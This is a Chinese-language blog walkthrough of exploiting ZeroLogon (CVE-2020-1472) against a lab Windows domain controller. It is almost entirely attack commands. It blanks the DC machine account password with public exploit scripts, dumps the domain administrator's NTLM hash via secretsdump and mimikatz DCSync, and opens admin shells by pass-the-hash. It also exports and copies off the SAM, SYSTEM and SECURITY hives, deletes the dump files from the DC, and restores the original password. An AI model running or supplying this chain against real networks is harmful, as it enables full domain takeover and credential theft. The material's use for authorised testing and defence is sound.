域渗透|ZeroLogon的利用

域渗透|ZeroLogon的利用

CVE-2020-1472

https://www.anquanke.com/post/id/219374

文中提到一种办法,适用于其他办法无法恢复的情况

脱域后,可以使用powershell来强制同步,一次性重置计算机的机器帐户密码。(包括AD,注册表,lsass里面的密码)。

1
powershell Reset-ComputerMachinePassword

环境

1
2
域:AAAA.COM
DC:LX-DC01.AAAA.COM <-ip-> 192.168.1.4

python版本

poc

https://github.com/SecuraBV/CVE-2020-1472

1
python3 zerologon_tester.py LX-DC01 192.168.1.4 

安装impacket

1
2
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

exploit

https://github.com/risksense/zerologon - set_empty_pw.py

1
python3 set_empty_pw.py LX-DC01 192.168.1.4 

获取域管administrator的hash

1
python3 secretsdump.py AAAA.COM/LX-DC01\$@192.168.1.4 -no-pass

通过wmiexec使用 “administrator”的hash获取域管权限

1
python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe AAAA.COM/[email protected]192.168.1.4 

获取目标原始hash

1
2
3
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

将导出的hash文件下载到本地

1
2
3
get system.save
get sam.save
get security.save

坑点:这一步有可能python出现编码错误导致不能下载

1
2
3
4
不同语言的编码不同,可以先获取下语言然后搜对应编码
https://docs.python.org/3/library/codecs.html
指定下编码
python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe AAAA.COM/[email protected] -codec gb2312

也可使用net use将文件copy回来

1
2
3
4
5
6
7
mimi注入hash到cmd
privilege::debug
sekurlsa::pth /user:administrator /domain:AAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe
net use \\192.168.1.4
copy \\192.168.1.4\c$\system.save c:\system.save
copy \\192.168.1.4\c$\sam.save c:\sam.save
copy \\192.168.1.4\c$\security.save c:\security.save

在域控主机上删除导出的hash文件。

1
2
3
del /f system.save
del /f sam.save
del /f security.save

使用secretsdump读取下载到本地的hash文件,获取域控机器账户置空前的原始hash

1
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

密码恢复

建议使用:

脚本有可能会缺少xxx包导致报错,还没整明白啥原因

https://github.com/mstxq17/cve-2020-1472 - restorepassword.py

1
python3 restorepassword.py aaaa.com/LX-DC01@LX-DC01 -target-ip 192.168.1.4 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

不建议使用:

比较暴力,会再打一次,计算密码的时候使用了空密码的hash去计算session_key

https://github.com/risksense/zerologon - reinstall_original_pw.py

1
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

mimikatz版本

poc

1
shell C:\Intel\mimikatz.exe "lsadump::postzerologon /target:192.168.1.4 /account:LX-DC01$" "exit"
1
lsadump::postzerologon /target:192.168.1.4 /account:LX-DC01$

exploit

1
shell C:\Intel\mimikatz.exe "lsadump::zerologon /target:LX-DC01.AAAA.COM /account:LX-DC01$ /exploit" "exit"
1
lsadump::zerologon /target:LX-DC01.AAAA.COM /account:LX-DC01$ /exploit

获取域管administrator的hash

1
shell C:\Intel\mimikatz.exe "lsadump::dcsync /domain:AAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAA /authpassword: /authntlm" "exit"
1
lsadump::dcsync /domain:AAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAA /authpassword: /authntlm

hash 注入起一个域管cmd

1
shell C:\Intel\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:AAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe" "exit
1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:AAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe

通过域管cmd,恢复域控机器账户密码

1
shell C:\Intel\mimikatz.exe "lsadump::postzerologon /target:192.168.1.4 /account:LX-DC01$" "exit"
1
lsadump::postzerologon /target:192.168.1.4 /account:LX-DC01$
作者

Se7en

发布于

2021-03-12

更新于

2021-04-03

许可协议

评论